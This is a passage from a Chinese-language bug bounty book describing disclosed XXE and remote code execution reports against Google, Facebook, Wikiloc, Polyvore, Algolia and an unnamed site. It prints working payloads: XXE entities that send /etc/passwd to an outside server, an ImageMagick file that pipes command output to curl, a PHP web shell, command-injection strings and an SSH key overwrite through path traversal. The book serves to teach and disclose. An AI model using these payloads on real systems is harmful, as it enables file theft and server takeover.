你可能已经注意到,在callhome的 URL 中使用了%而不是&,%xxe; ➊。当实体应该在 DTD 定义中进行评估时,使用%;当实体在 XML 文档中评估时,使用&。
网站通过禁用外部实体解析来防止 XXE 漏洞。OWASP XML 外部实体防护备忘单(参见 www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet) 提供了如何为多种语言执行此操作的说明。
Google 读取访问
难度: 中
网址: https://google.com/gadgets/directory?synd=toolbar/
来源: blog.detectify.com/2014/04/11/how-we-got-read-access-on-googles-production-servers/
报告日期: 2014 年 4 月
奖励金额: $10,000
这个 Google 读取访问漏洞利用了 Google 工具栏按钮图库的一个特性,该特性允许开发者通过上传包含元数据的 XML 文件来定义自己的按钮。开发者可以搜索按钮图库,Google 会在搜索结果中显示按钮的描述。
根据 Detectify 团队的说法,当上传一个引用外部文件实体的 XML 文件到图库时,Google 会解析该文件并在按钮搜索结果中渲染内容。
结果,团队利用 XXE 漏洞渲染了服务器的/etc/passwd文件内容。至少,这证明恶意用户可以利用 XXE 漏洞读取内部文件。
要点
即使是大公司也会犯错。无论谁拥有网站,只要网站接受 XML,始终需要测试 XXE 漏洞。读取/etc/passwd文件是展示漏洞对公司影响的一个好方法。
Facebook XXE 与 Microsoft Word
难度: 难
来源: 攻击安全博客
报告日期: 2014 年 4 月
奖励金额: $6,300
这个 Facebook XXE 漏洞比之前的示例更具挑战性,因为它涉及远程调用服务器。在 2013 年底,Facebook 修补了 Reginaldo Silva 发现的 XXE 漏洞。Silva 立即向 Facebook 报告了该漏洞,并请求允许将其升级为远程代码执行(这类漏洞在第十二章中介绍)。他认为远程代码执行是可能的,因为他可以读取服务器上的大多数文件,并打开任意的网络连接。Facebook 进行了调查并同意,支付了他$30,000。
结果,Mohamed Ramadan 在 2014 年 4 月挑战自己入侵 Facebook。他原本没想到另一个 XXE 漏洞的可能性,直到他发现 Facebook 的招聘页面,允许用户上传 .docx 文件。.docx 文件类型只是 XML 文件的一个归档。Ramadan 创建了一个 .docx 文件,用 7-Zip 打开提取其内容,并将以下负载插入其中的一个 XML 文件:
<!DOCTYPE root [
➊ <!ENTITY % file SYSTEM "file:///etc/passwd">
➋ <!ENTITY % dtd SYSTEM "http://197.37.102.90/ext.dtd">
➌ %dtd;
➍ %send;
]>
如果目标启用了外部实体,XML 解析器将评估 %dtd; ➌ 实体,它会发起到 Ramadan 服务器 http://197.37.102.90/ext.dtd ➋ 的远程调用。该调用将返回以下内容,即 ext.dtd 文件的内容:
➎ <!ENTITY send SYSTEM 'http://197.37.102.90/FACEBOOK-HACKED?%file;'>
首先,%dtd; 将引用外部的 ext.dtd 文件,并使 %send; 实体可用 ➎。接着,解析器将解析 %send; ➍,这将发起对 http://197.37.102.90/FACEBOOK-HACKED?%file; ➎ 的远程调用。%file; 引用了 /etc/passwd 文件 ➊,因此它的内容将替换 HTTP 请求中的 %file; ➎。
调用远程 IP 来利用 XXE 并不总是必要的,尽管它在站点解析远程 DTD 文件时很有用,但又阻止访问本地文件的读取。这类似于服务器端请求伪造(SSRF),如在 第十章 中讨论的那样。通过 SSRF,如果站点阻止访问内部地址,但允许调用外部站点并遵循 301 重定向到内部地址,你可以实现类似的结果。
接下来,Ramadan 在他的服务器上启动了一个本地 HTTP 服务器,用 Python 和 SimpleHTTPServer 接收调用和内容:
Last login: Tue Jul 8 09:11:09 on console
➊ Mohamed:~ mohaab007$ sudo python -m SimpleHTTPServer 80
Password:
➋ Serving HTTP on 0.0.0.0 port 80...
➌ 173.252.71.129 - - [08/Jul/2014 09:21:10] "GET /ext.dtd HTTP/1.0" 200 -
173.252.71.129 - -[08/Jul/2014 09:21:11] "GET /ext.dtd HTTP/1.0" 200 -
173.252.71.129 - - [08/Jul/2014 09:21:11] code 404, message File not found
➍ 173.252.71.129 - -[08/Jul/2014 09:21:10] "GET /FACEBOOK-HACKED? HTTP/1.0" 404
在 ➊ 处是启动 Python SimpleHTTPServer 的命令,它在 ➋ 处返回消息 "Serving HTTP on 0.0.0.0 port 80..."。终端等待,直到接收到对服务器的 HTTP 请求。起初,Ramadan 没有收到响应,但他等待直到最终在 ➌ 收到远程调用以检索 /ext.dtd 文件。如预期,他随后看到回调到服务器的 /FACEBOOK-HACKED? ➍,但遗憾的是没有附加 /etc/passwd 文件的内容。这意味着要么 Ramadan 无法通过这个漏洞读取本地文件,要么 /etc/passwd 文件不存在。
在继续这个报告之前,我应该补充一点,Ramadan 本可以提交一个不向他的服务器发起远程调用的文件,而是直接尝试读取本地文件。但初步的远程 DTD 文件调用证明了 XXE 漏洞的存在(如果成功),而失败的本地文件读取尝试并不能证明这一点。在这种情况下,由于 Ramadan 记录了 Facebook 向其服务器发出的 HTTP 调用,他可以证明 Facebook 正在解析远程 XML 实体,且即使他无法访问 /etc/passwd,仍然存在漏洞。
当 Ramadan 报告漏洞时,Facebook 回复要求提供概念验证视频,因为他们无法重现上传过程。之后,在 Ramadan 提供视频后,Facebook 否认了提交的有效性,并表示是某个招聘人员点击了链接,从而发起了请求到他的服务器。经过几封邮件交流后,Facebook 团队继续深入调查,确认漏洞存在并奖励了奖金。与 2013 年初的 XXE 漏洞不同,Ramadan 的 XXE 漏洞无法升级为远程代码执行,因此 Facebook 奖励了较小的奖金。
要点
这里有几点要注意的内容。XML 文件有不同的格式和大小:留意接受 .docx、.xlsx、.pptx 和其他 XML 文件类型的网站,因为可能有自定义应用程序在解析文件的 XML。最初,Facebook 认为是某个员工点击了一个恶意链接,连接到了 Ramadan 的服务器,这本不算 SSRF。但经过进一步调查,Facebook 确认请求是通过另一种方式发起的。
正如你在其他案例中看到的,有时报告最初会被拒绝。如果你确定漏洞是有效的,那么继续与你报告的公司合作是很重要的,不要放弃解释为什么某个问题可能是漏洞,或者为什么它可能比公司最初评估的更加严重。
Wikiloc XXE
难度: 困难
网址: wikiloc.com/
来源: www.davidsopas.com/wikiloc-xxe-vulnerability/
报告日期: 2015 年 10 月
奖励支付: 礼品
Wikiloc 是一个发现和分享最佳户外徒步、骑行及其他活动路径的网站。它还允许用户通过 XML 文件上传自己的轨迹,这对于像 David Sopas 这样的骑行黑客来说非常有吸引力。
Sopas 注册了 Wikiloc,并在注意到 XML 上传功能后,决定测试其是否存在 XXE 漏洞。首先,他从网站下载了一个文件,以确定 Wikiloc 的 XML 结构,在这个案例中是一个 .gpx 文件。然后他修改了文件并上传。这是他修改后的文件:
{linenos=on}
➊ <!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://www.davidsopas.com/XXE" > ]>
<gpx
version="1.0"
creator="GPSBabel - http://www.gpsbabel.org"
xsi:schemaLocation="http://www.topografix.com/GPX/1/1 http://www.topografix
.com/GPX/1/1/gpx.xsd">
<time>2015-10-29T12:53:09Z</time>
<bounds minlat="40.734267000" minlon="-8.265529000" maxlat="40.881475000"
maxlon="-8.037170000"/>
<trk>
➋ <name>&xxe;</name>
<trkseg>
<trkpt lat="40.737758000" lon="-8.093361000">
<ele>178.000000</ele>
<time>2009-01-10T14:18:10Z</time>
--snip--
在 ➊,他在文件的第一行添加了一个外部实体定义。在 ➋,他在 .gpx 文件中的轨迹名称内调用了该实体。
将文件上传回 Wikiloc 导致向 Sopas 的服务器发出了一个 HTTP GET 请求。这个事件有两个值得注意的原因。首先,通过使用一个简单的概念验证调用,Sopas 能够确认服务器正在评估他注入的 XML,并且服务器会进行外部调用。其次,Sopas 使用了现有的 XML 文档,因此他的内容符合该网站预期的结构。
在 Sopas 确认 Wikiloc 会进行外部 HTTP 请求之后,唯一的另一个问题就是它是否会读取本地文件。因此,他修改了自己注入的 XML,使 Wikiloc 将其/etc/issue文件的内容发送给他(/etc/issue文件会返回所使用的操作系统):
<!DOCTYPE roottag [
➊ <!ENTITY % file SYSTEM "file:///etc/issue">
➋ <!ENTITY % dtd SYSTEM "http://www.davidsopas.com/poc/xxe.dtd">
➌ %dtd;]>
<gpx
version="1.0"
creator="GPSBabel - http://www.gpsbabel.org"
xsi:schemaLocation="http://www.topografix.com/GPX/1/1 http://www.topografix
.com/GPX/1/1/gpx.xsd">
<time>2015-10-29T12:53:09Z</time>
<bounds minlat="40.734267000" minlon="-8.265529000" maxlat="40.881475000"
maxlon="-8.037170000"/>
<trk>
➍ <name>&send;</name>
--snip--
这段代码应该很熟悉。在这里,他使用了位于➊和➋的两个实体,这些实体是通过%定义的,因为它们将在 DTD 中被评估。在➌位置,他检索到xxe.dtd文件。标签中对&send; ➍的引用由返回的xxe.dtd文件定义,该文件通过远程调用返回给 Wikiloc ➋。以下是xxe.dtd文件:
<?xml version="1.0" encoding="UTF-8"?>
➎ <!ENTITY % all "<!ENTITY send SYSTEM 'http://www.davidsopas.com/XXE?%file;'>">
➏ %all;
%all ➎在位置➍定义了实体send。Sopas 的执行方式类似于 Ramadan 对 Facebook 的做法,但有一个微妙的区别:Sopas 试图确保所有可能执行 XXE 的地方都被包括在内。这就是为什么他在内部 DTD 中定义%dtd; ➌后立即调用它,并且在外部 DTD 中定义%all; ➏后立即调用它。执行的代码位于网站的后端,因此你可能无法确切知道漏洞是如何被执行的。但以下是解析过程的可能样子:
-
Wikiloc 解析 XML 并评估
%dtd;,作为对 Sopas 服务器的外部调用。然后 Wikiloc 请求 Sopas 服务器上的xxe.dtd文件。 -
Sopas 的服务器将xxe.dtd文件返回给 Wikiloc。
-
Wikiloc 解析收到的 DTD 文件,这触发了对
%all的调用。 -
当
%all被评估时,它定义了&send;,其中包括对实体%file的调用。 -
URL 值中的
%file;调用被替换为/etc/issue文件的内容。 -
Wikiloc 解析 XML 文档。这会解析
&send;实体,该实体将被评估为对 Sopas 服务器的远程调用,URL 中的参数为/etc/issue文件的内容。
用他自己的话说,游戏结束。
要点
这是一个很好的例子,展示了你如何利用网站的 XML 模板嵌入自己的 XML 实体,以便文件被目标解析。在这个例子中,Wikiloc 预期接收的是一个.gpx文件,而 Sopas 保留了该结构,在预期的标签内插入了自己的 XML 实体。此外,值得注意的是,你如何将恶意的 DTD 文件返回,以便目标对你的服务器发出GET请求,将文件内容作为 URL 参数传递。这是一个简便的数据提取方式,因为GET参数会在你的服务器上被记录。
总结
XXE 代表了一个巨大的攻击向量。你可以通过几种方式完成 XXE 攻击:让易受攻击的应用程序打印其/etc/passwd文件,使用/etc/passwd文件的内容调用远程服务器,或者请求一个远程 DTD 文件,指示解析器回调到一个服务器并带有/etc/passwd文件。
留意文件上传,尤其是那些包含某种形式 XML 的文件。你应该始终测试它们是否存在 XXE 漏洞。
第十二章:远程代码执行

远程代码执行(RCE)漏洞发生在应用程序使用未经清理的用户控制输入时。RCE 通常通过两种方式之一被利用。第一种是通过执行 shell 命令。第二种是通过执行该易受攻击应用程序使用或依赖的编程语言中的函数。
执行 Shell 命令
你可以通过执行应用程序没有清理的 shell 命令来进行 RCE。shell为操作系统的服务提供了命令行访问权限。例如,假设站点www.domain参数来触发此操作,URL 形式为www.<example>.com?domain=,站点的 PHP 代码按如下方式处理该输入:
➊ $domain = $_GET[domain];
echo shell_exec(➋"ping -c 1 $domain");
访问www.google.com分配给变量$domain,如➊所示,然后将该变量作为ping命令的参数直接传递给shell_exec函数,如➋所示。shell_exec函数执行 shell 命令并将完整的输出作为字符串返回。
此命令的输出类似于以下内容:
PING google.com (216.58.195.238) 56(84) bytes of data.
64 bytes from sfo03s06-in-f14.1e100.net (216.58.195.238): icmp_seq=1 ttl=56 time=1.51 ms
--- google.com ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 1.519/1.519/1.519/0.000 ms
响应的详细信息不重要:只需知道$domain变量直接传递给shell_exec命令,而没有经过清理。在 bash 中,这是一个常用的 shell,你可以使用分号将多个命令串联起来。因此,攻击者可以访问 URL www.shell_exec函数将执行ping和id命令。id命令会输出当前在服务器上执行命令的用户信息。例如,输出可能如下所示:
➊ PING google.com (172.217.5.110) 56(84) bytes of data.
64 bytes from sfo03s07-in-f14.1e100.net (172.217.5.110):
icmp_seq=1 ttl=56 time=1.94 ms
--- google.com ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 1.940/1.940/1.940/0.000 ms
➋ uid=1000(yaworsk) gid=1000(yaworsk) groups=1000(yaworsk)
服务器执行了两个命令,因此ping命令的响应显示了➊以及id命令的输出。id命令的输出➋表明网站在服务器上以名为yaworsk的用户身份运行应用,且该用户的uid为1000,属于gid和组1000,组名也是yaworsk。
yaworsk用户的权限决定了这个 RCE 漏洞的严重性。在这个例子中,攻击者可以使用命令;cat FILENAME(其中 FILENAME 是要读取的文件)读取站点的代码,并可能向某些目录写入文件。如果该站点使用数据库,攻击者很可能还可以导出数据库。
如果一个网站在没有清理用户控制的输入的情况下信任它,就会发生这种类型的远程代码执行(RCE)。解决这个漏洞的方法很简单。在 PHP 中,网站开发者可以使用escapeshellcmd,它会转义字符串中的任何可能让 shell 执行任意命令的字符。因此,URL 参数中附加的任何命令都会被视为一个转义值。这意味着google.com\;id将被传递给ping命令,导致错误ping: google.com;id: Name or service not known。
尽管特殊字符会被转义以避免执行额外的任意命令,但请记住,escapeshellcmd并不会阻止你传递命令行标志。标志是一个可选参数,用来改变命令的行为。例如,-0是一个常用的标志,用于定义一个文件,以便命令生成输出时写入该文件。传递标志可能会改变命令的行为,从而可能导致 RCE 漏洞。由于这些细微差别,防止 RCE 漏洞可能会很棘手。
执行函数
你还可以通过执行函数来进行远程代码执行。例如,如果www.
➊ $action = $_GET['action'];
$id = $_GET['id'];
➋ call_user_func($action, $id);
这里网站使用了 PHP 函数call_user_func ➋,该函数将第一个参数作为函数调用,并将剩余的参数作为该函数的参数传递。在这种情况下,应用程序将调用分配给action变量的view函数 ➊,并将1传递给该函数。这个命令应该显示第一篇博客文章。
但是,如果恶意用户访问 URL www.
$action = $_GET['action']; //file_get_contents
$id = $_GET['id']; ///etc/passwd
call_user_func($action, $id); //file_get_contents(/etc/passwd);
传递file_get_contents作为操作参数会调用该 PHP 函数,将文件内容读取到一个字符串中。在这种情况下,文件/etc/passwd作为id参数传递。然后,/etc/passwd作为参数传递给file_get_contents,导致文件被读取。攻击者可以利用这个漏洞读取整个应用的源代码,获取数据库凭证,在服务器上写文件,等等。这样输出的结果就不再是第一篇博客文章,而是如下所示:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
如果传递给action参数的函数没有经过清理或过滤,攻击者还可以通过 PHP 函数调用 shell 命令,例如shell_exec、exec、system等。
提升远程代码执行的策略
两种类型的 RCE(远程代码执行)都可能引发各种效果。当攻击者能够执行任何编程语言的函数时,他们可能会将漏洞升级为执行 Shell 命令。执行 Shell 命令通常更为严重,因为攻击者可能会攻陷整个服务器,而不仅仅是应用程序。漏洞的严重程度取决于服务器用户的权限,或者攻击者是否能够利用其他漏洞提升用户权限,这通常被称为本地权限提升(LPE)。
尽管本书无法对本地权限提升(LPE)进行详细解释,但你只需要知道,LPE 通常通过利用内核漏洞、以 root 身份运行的服务或设置用户 ID(SUID)可执行文件来发生。内核是计算机的操作系统。利用内核漏洞可能使攻击者提升权限,执行他们原本无法授权的操作。在攻击者无法利用内核漏洞的情况下,他们可能尝试利用以 root 身份运行的服务。通常情况下,服务不应以 root 身份运行;这种漏洞通常发生在管理员忽视安全性考虑,启动服务时使用了 root 用户身份。如果管理员的账户被攻破,攻击者就能访问以 root 身份运行的服务,而服务执行的任何命令都会拥有提升后的 root 权限。最后,攻击者还可能利用 SUID,它允许用户以指定用户的权限执行文件。尽管 SUID 旨在增强安全性,但当配置错误时,它可能允许攻击者以提升的权限执行命令,这与以 root 身份运行的服务类似。
鉴于用于托管网站的操作系统、服务器软件、编程语言、框架等的多样性,不可能详细列出所有可能的函数注入或 Shell 命令注入方式。但仍然存在一些模式,可以帮助你发现潜在的 RCE 漏洞,即使没有看到应用程序代码。在第一个例子中,一个警示信号是该网站执行了ping命令,这是一个系统级别的命令。
在第二个例子中,action参数是一个警示信号,因为它允许你控制在服务器上执行的功能。当你在寻找这些线索时,注意观察传递给网站的参数和值。你可以通过传递系统操作或特殊命令行字符,如分号或反引号,来轻松测试这种行为,替代预期值填入参数中。
另一个常见的应用级 RCE 原因是无约束的文件上传,服务器在访问时会执行这些文件。例如,如果一个 PHP 网站允许你上传文件到工作区,但没有限制文件类型,你可以上传一个 PHP 文件并访问它。因为一个脆弱的服务器无法区分应用程序的合法 PHP 文件和你上传的恶意文件,所以该文件会被解释为 PHP 并执行其内容。以下是一个允许你通过 URL 参数super_secret_web_param执行 PHP 函数的文件示例:
$cmd = $_GET['super_secret_web_param'];
system($cmd);
如果你将这个文件上传到www.?super_secret_web_param='ls'。这样做会输出files目录的内容。在测试此类漏洞时要特别小心,并非所有的赏金项目都希望你在他们的服务器上执行自己的代码。如果你确实上传了类似的 shell,务必删除它,以防其他人发现并恶意利用它。
更复杂的 RCE 示例通常是由于细微的应用行为或编程错误所致。事实上,这些示例在第八章中已有讨论。Orange Tsai 的 Uber Flask Jinja2 模板注入(第 74 页)是一个 RCE,允许他使用 Flask 模板语言执行自己的 Python 函数。我的 Unikrn Smarty 模板注入(第 78 页)则允许我利用 Smarty 框架执行 PHP 函数,包括file_get_contents。鉴于 RCE 的多样性,本文将重点介绍一些比之前章节中看到的更传统的示例。
Polyvore ImageMagick
难度: 中等
网址: Polyvore.com(雅虎收购)
来源: nahamsec.com/exploiting-imagemagick-on-yahoo/
报告日期: 2016 年 5 月 5 日
支付赏金: $2,000
查看在广泛使用的软件库中披露的漏洞,可以有效地发现使用该软件的网站中的 bug。ImageMagick 是一个常见的图形处理库,处理图像并且在大多数,甚至是所有主要编程语言中都有实现。这意味着,ImageMagick 库中的 RCE 漏洞可能对依赖该库的网站造成毁灭性影响。
2016 年 4 月,ImageMagick 的维护者公开披露了库更新,修复了关键性漏洞。更新显示,ImageMagick 未能以多种方式正确清理输入。这些漏洞中最危险的一个导致了通过 ImageMagick 的delegate功能触发 RCE,delegate功能用于通过外部库处理文件。以下代码通过将用户控制的域名作为占位符%M 传递给system()命令实现这一点:
"wget" -q -O "%o" "https:%M"
在使用之前,该值没有被净化,因此提交https://example.com";|ls "-la将转化为:
wget -q -O "%o" "https://example.com";|ls "-la"
如同早期涉及将额外命令链到ping的 RCE 示例一样,这段代码通过使用分号将额外的命令行功能链到预定功能。
delegate功能可以被允许外部文件引用的图像文件类型滥用。例子包括 SVG 和 ImageMagick 定义的文件类型 MVG。当 ImageMagick 处理图像时,它会尝试根据文件内容而不是扩展名来猜测文件类型。例如,如果开发人员试图通过允许应用程序仅接受以.jpg结尾的用户文件来净化用户提交的图像,攻击者可以通过将.mvg文件重命名为.jpg来绕过净化。应用程序会认为该文件是安全的.jpg文件,但 ImageMagick 会根据文件内容正确识别该文件类型为 MVG。这将允许攻击者滥用 ImageMagick 的 RCE 漏洞。用于滥用此 ImageMagick 漏洞的恶意文件示例可以在imagetragick.com/找到。
在此漏洞公开披露并且网站有机会更新其代码后,Ben Sadeghipour 开始寻找使用未修补版本 ImageMagick 的网站。作为他的第一步,Sadeghipour 在自己的服务器上重新创建了这个漏洞,以确认他有一个有效的恶意文件。他选择使用来自imagetragick.com/的示例 MVG 文件,但他本来也可以使用 SVG 文件,因为这两者都引用了外部文件,这些外部文件将触发 ImageMagick 的delegate功能。以下是他的代码:
push graphic-context
viewbox 0 0 640 480
➊ image over 0,0 0,0 'https://127.0.0.1/x.php?x=`id | curl\
http://SOMEIPADDRESS:8080/ -d @- > /dev/null`'
pop graphic-context
这个文件的重要部分是➊处的那一行,其中包含恶意输入。让我们来分解它。攻击的第一部分是https://127.0.0.1/x.php?x=。这是 ImageMagick 在其委托行为中期望的远程 URL。Sadeghipour 随后添加了`id。在命令行中,反引号(`)表示 Shell 应在主命令之前处理的输入。这确保了 Sadeghipour 的有效负载(下一步描述的内容)被立即处理。
管道符号(|)将一个命令的输出传递给下一个命令。在这种情况下,id的输出被传递给curl http://SOMEIPADDRESS:8080/ -d @-。cURL 库用于发起远程 HTTP 请求,在此情况下,它向 Sadeghipour 的 IP 地址发起请求,该地址在端口 8080 上监听。-d标志是 cURL 的选项,用于将数据作为POST请求发送。@指示 cURL 按原样使用输入,不进行其他处理。连字符(–)表示将使用标准输入。当所有这些语法与管道符号(|)结合时,id命令的输出将作为POST请求体传递给 cURL,且不进行任何处理。最后,> /dev/null代码会丢弃命令的任何输出,因此不会打印到漏洞服务器的终端。这有助于防止目标意识到他们的安全性已被破坏。
在上传文件之前,Sadeghipour 启动了一个服务器,通过 Netcat 监听 HTTP 请求,Netcat 是一种常见的网络工具,用于读取和写入连接。他运行了命令nc -l -n -vv -p 8080,这允许 Sadeghipour 记录传递到他服务器上的POST请求。-l标志启用监听模式(接收请求),-n防止 DNS 查找,-vv启用详细日志记录,-p 8080定义了使用的端口。
Sadeghipour 在 Yahoo!网站 Polyvore 上测试了他的有效载荷。在将文件上传到网站作为图片后,Sadeghipour 收到了以下POST请求,其中包含在 Polyvore 服务器上执行id命令的结果。
Connect to [REDACTED] from (UNKNOWN) [REDACTED] 53406
POST / HTTP/1.1
User-Agent: [REDACTED]
Host: [REDACTED]
Accept: /
Content-Length: [REDACTED]
Content-Type: application/x-www-form-urlencoded
uid=[REDACTED] gid=[REDACTED] groups=[REDACTED]
这个请求意味着 Sadeghipour 的 MVG 文件成功执行,导致漏洞网站执行了id命令。
收获
Sadeghipour 的漏洞有两个重要的收获。首先,了解已披露的漏洞为你提供了测试新代码的机会,正如前几章所提到的。如果你在测试大型库时,还需要确保你测试的网站公司正在适当管理其安全更新。有些程序会要求你在披露后的一定时间内不要报告未修补的更新,但过了这个时间框架后,你可以自由报告漏洞。第二,在自己的服务器上重现漏洞是一个很好的学习机会。这能确保当你尝试实施它们进行漏洞赏金时,你的有效载荷是有效的。
Algolia RCE 在facebooksearch.algolia.com
难度: 高
网址: facebooksearch.algolia.com
来源: hackerone.com/reports/134321/
报告日期: 2016 年 4 月 25 日
奖励金额: $500
正确的侦查是黑客攻击的重要部分。2016 年 4 月 25 日,Michiel Prins(HackerOne 联合创始人)正在使用工具 Gitrob 对 algolia.com 进行侦查。该工具以一个 GitHub 仓库、个人或组织为种子,爬取与之相关的所有仓库。在所有找到的仓库中,它将根据关键词(如 password, secret, database 等)查找敏感文件。
使用 Gitrob,Prins 发现 Algolia 在公共代码库中公开提交了 Ruby on Rails 的 secret_key_base 值。secret_key_base 帮助 Rails 防止攻击者篡改签名的 cookie,而它应该被隐藏并且永远不应公开分享。通常,这个值会被替换为环境变量 ENV['SECRET_KEY_BASE'],只有服务器可以读取。当 Rails 网站使用 cookiestore 来存储会话信息时(我们稍后会讲到),使用 secret_key_base 特别重要。因为 Algolia 将该值提交到了公共代码库中,所以 secret_key_base 的值仍然可以在 github.com/algolia/facebook-search/commit/f3adccb5532898f8088f90eb57cf991e2d499b49#diff-afe98573d9aad940bb0f531ea55734f8R12/ 上查看,但它已不再有效。
当 Rails 对一个 cookie 进行签名时,它会将签名附加到 cookie 的 base64 编码值后面。例如,cookie 和其签名可能看起来像这样:BAh7B0kiD3Nlc3Npb25faWQGOdxM3M9BjsARg%3D%3D--dc40a55cd52fe32bb3b8。Rails 会检查双破折号后的签名,以确保 cookie 的开头没有被篡改。当 Rails 使用 cookiestore 时,这一点尤为重要,因为 Rails 默认使用 cookies 及其签名来管理网站会话。用户的信息可以被添加到 cookie 中,并在通过 HTTP 请求提交 cookie 时被服务器读取。由于 cookie 被保存在用户的计算机上,Rails 使用 secret 对其进行签名,以确保其未被篡改。如何读取 cookie 也很重要;Rails 的 cookiestore 会对存储在 cookie 中的信息进行序列化和反序列化。
在计算机科学中,序列化 是将对象或数据转换为可以传输和重建的状态的过程。在此情况下,Rails 将会话信息转换为一种格式,以便存储在 cookie 中,并在用户提交 cookie 进行下一次 HTTP 请求时重新读取。序列化之后,cookie 会通过反序列化读取。反序列化过程比较复杂,超出了本书的范围。但如果传递了不可信的数据,它常常会导致 RCE(远程代码执行)。
注意
要了解更多关于反序列化的信息,请参考以下两个非常好的资源:Matthias Kaiser 在 www.youtube.com/watch?v=VviY3O-euVQ/ 上讲的“在 Java 中利用反序列化漏洞”的演讲,以及 Alvaro Muñoz 和 Alexandr Mirosh 在 www.youtube.com/watch?v=ZBfBYoK_Wr0/ 上讲的“13 号星期五 JSON 攻击”的演讲。
了解 Rails 秘钥后,Prins 能够创建自己有效的序列化对象,并通过 cookie 将其发送到网站进行反序列化。如果存在漏洞,反序列化将导致 RCE。
Prins 使用了一种名为 Rails Secret Deserialization 的 Metasploit 框架漏洞,将此漏洞升级为 RCE。该 Metasploit 漏洞创建了一个 cookie,如果成功反序列化,它将调用反向 shell。Prins 将恶意 cookie 发送给 Algolia,这使得在易受攻击的服务器上启用了 shell。作为概念验证,他运行了id命令,返回了uid=1000(prod) gid=1000(prod) groups=1000(prod)。他还在服务器上创建了文件hackerone.txt来演示这个漏洞。
要点
在这种情况下,Prins 使用了一个自动化工具来抓取公共仓库中的敏感值。通过执行相同的操作,你也可以发现任何使用可疑关键词的仓库,这些仓库可能会透露出漏洞的线索。利用反序列化漏洞可能非常复杂,但也有一些自动化工具可以简化这一过程。例如,你可以使用 Rapid7 的 Rails Secret Deserialization 来处理较早版本的 Rails,或者使用由 Chris Frohoff 维护的 ysoserial 来处理 Java 的反序列化漏洞。
通过 SSH 获取 RCE
难度: 高
URL: 无
来源: blog.jr0ch17.com/2018/No-RCE-then-SSH-to-the-box/
报告日期: 2017 年秋季
悬赏支付: 未公开
当目标程序给你提供了一个大范围的测试时,最好自动化资产的发现,然后寻找一些微妙的迹象,判断一个网站是否可能存在漏洞。这正是 Jasmin Landry 在 2017 年秋天所做的。他开始使用工具 Sublist3r、Aquatone 和 Nmap 枚举一个网站的子域名和开放端口。由于他发现了数百个可能的域名,而不可能访问所有域名,他使用了自动化工具 EyeWitness 来对每个域名进行截图。这帮助他在视觉上识别出有趣的网站。
EyeWitness 透露了一个内容管理系统,Landry 觉得它不熟悉,看起来很旧,而且是开源的。Landry 猜测软件的默认凭据可能是 admin:admin。测试后成功登录,因此他继续深入研究。这个网站没有任何内容,但审计开源代码时发现该应用以 root 用户身份运行在服务器上。这是一个不好的做法:root 用户可以在网站上执行任何操作,如果应用被攻破,攻击者将获得服务器的完全权限。这也是 Landry 继续挖掘的另一个原因。
接下来,Landry 查找了已公开的安全问题或 CVE(常见漏洞和暴露)。该站点没有发现任何问题,这对于旧的开源软件来说是不寻常的。Landry 识别出一些不太严重的问题,包括 XSS、CSRF、XXE 和 本地文件泄露(能够读取服务器上的任意文件)。所有这些漏洞意味着可能在某个地方存在远程代码执行(RCE)漏洞。
在继续工作时,Landry 注意到一个 API 接口,允许用户更新模板文件。路径是 /api/i/services/site/write-configuration.json?path=/config/sites/test/page/test/config.xml,并且它通过 POST 请求体接受 XML 格式。能够写入文件和定义文件路径是两个重大的红旗。如果 Landry 能在任何文件夹中写入文件,并让服务器将其解释为应用文件,他就能在服务器上执行任意代码,并可能调用系统命令。为了测试这一点,他将路径改为 ../../../../../../../../../../../../tmp/test.txt。符号 ../ 代表当前路径的上一级目录。所以,如果路径是 /api/i/services,则 ../ 就是 /api/i。这让 Landry 可以在任何他想要的文件夹中写入文件。
上传自己的文件成功了,但应用配置不允许他执行代码,因此他需要找到一种替代方式进行远程代码执行(RCE)。他突然想到,安全套接字协议(SSH)可以使用公钥认证用户。SSH 访问是管理远程服务器的典型方式:它通过验证远程主机上的公钥,建立安全连接并登录到命令行,公钥存储在 .ssh/authorized_keys 目录中。如果他能写入该目录并上传自己的 SSH 公钥,网站将认证他为 root 用户,直接通过 SSH 访问,并拥有服务器的完全权限。
他进行了测试,并成功写入了 ../../../../../../../../../../../../root/.ssh/authorized_keys。尝试使用 SSH 访问服务器成功,执行 id 命令确认他是 root 用户 uid=0(root) gid=0(root) groups=0(root)。
总结
在大范围寻找漏洞时,枚举子域是非常重要的,因为这为你提供了更多的测试面。Landry 能够使用自动化工具发现一个可疑的目标,并且确认了一些初步的漏洞,表明可能还有更多的漏洞待发现。最值得注意的是,当他最初的文件上传 RCE 尝试失败时,Landry 重新考虑了他的做法。他意识到,他可以利用 SSH 配置漏洞,而不仅仅是报告单一的任意文件写入漏洞。提交一份全面的报告,充分展示其影响,通常会增加你获得的奖励金额。所以,一旦发现漏洞,不要立即停止——继续挖掘。
总结
RCE(远程代码执行),和本书中讨论的许多其他漏洞一样,通常发生在用户输入未经过正确清理和处理的情况下。在第一个漏洞报告中,ImageMagick 在将内容传递给系统命令之前没有正确转义。为了发现这个漏洞,Sadeghipour 首先在自己的服务器上重新创建了这个漏洞,然后开始寻找未打补丁的服务器。与此相对,Prins 发现了一个秘密,使他能够伪造签名的 Cookie。最后,Landry 找到了一个方法,可以在服务器上写入任意文件,并利用这个漏洞覆盖 SSH 密钥,从而以 root 身份登录。三个人使用了不同的方法来获取 RCE,但每个人都利用了网站接受未经清理的输入这一点。
第十三章:内存漏洞**

每个应用程序都依赖计算机内存来存储和执行应用程序的代码。内存漏洞是利用应用程序内存管理中的错误的攻击。攻击导致意外的行为,可能使攻击者能够注入并执行他们自己的命令。
内存漏洞通常发生在开发人员负责应用程序内存管理的编程语言中,如 C 和 C++。其他语言如 Ruby、Python、PHP 和 Java 则为开发人员管理内存分配,因此这些语言对内存漏洞的易受攻击性较低。
